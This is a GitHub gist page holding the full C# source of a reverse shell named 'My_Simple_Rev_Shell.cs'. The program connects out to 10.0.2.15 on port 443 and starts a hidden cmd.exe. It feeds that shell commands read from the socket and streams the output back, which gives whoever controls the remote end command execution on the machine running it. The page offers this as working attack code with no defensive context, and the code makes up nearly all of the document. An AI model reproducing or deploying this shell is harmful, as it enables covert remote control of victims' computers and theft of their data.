Skip to content

Instantly share code, notes, and snippets.

@thebigplate
Created July 20, 2020 04:32
Show Gist options
  • Save thebigplate/403e9099ec4bb99111457a94fec8c498 to your computer and use it in GitHub Desktop.
Save thebigplate/403e9099ec4bb99111457a94fec8c498 to your computer and use it in GitHub Desktop.

Revisions

  1. BankSecurity renamed this gist Oct 1, 2018. 1 changed file with 0 additions and 0 deletions.
    File renamed without changes.
  2. BankSecurity created this gist Oct 1, 2018.
    69 changes: 69 additions & 0 deletions My_Simple_Rev_Shell.cs
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,69 @@
    using System;
    using System.Text;
    using System.IO;
    using System.Diagnostics;
    using System.ComponentModel;
    using System.Linq;
    using System.Net;
    using System.Net.Sockets;


    namespace ConnectBack
    {
    public class Program
    {
    static StreamWriter streamWriter;

    public static void Main(string[] args)
    {
    using(TcpClient client = new TcpClient("10.0.2.15", 443))
    {
    using(Stream stream = client.GetStream())
    {
    using(StreamReader rdr = new StreamReader(stream))
    {
    streamWriter = new StreamWriter(stream);

    StringBuilder strInput = new StringBuilder();

    Process p = new Process();
    p.StartInfo.FileName = "cmd.exe";
    p.StartInfo.CreateNoWindow = true;
    p.StartInfo.UseShellExecute = false;
    p.StartInfo.RedirectStandardOutput = true;
    p.StartInfo.RedirectStandardInput = true;
    p.StartInfo.RedirectStandardError = true;
    p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
    p.Start();
    p.BeginOutputReadLine();

    while(true)
    {
    strInput.Append(rdr.ReadLine());
    //strInput.Append("\n");
    p.StandardInput.WriteLine(strInput);
    strInput.Remove(0, strInput.Length);
    }
    }
    }
    }
    }

    private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
    {
    StringBuilder strOutput = new StringBuilder();

    if (!String.IsNullOrEmpty(outLine.Data))
    {
    try
    {
    strOutput.Append(outLine.Data);
    streamWriter.WriteLine(strOutput);
    streamWriter.Flush();
    }
    catch (Exception err) { }
    }
    }

    }
    }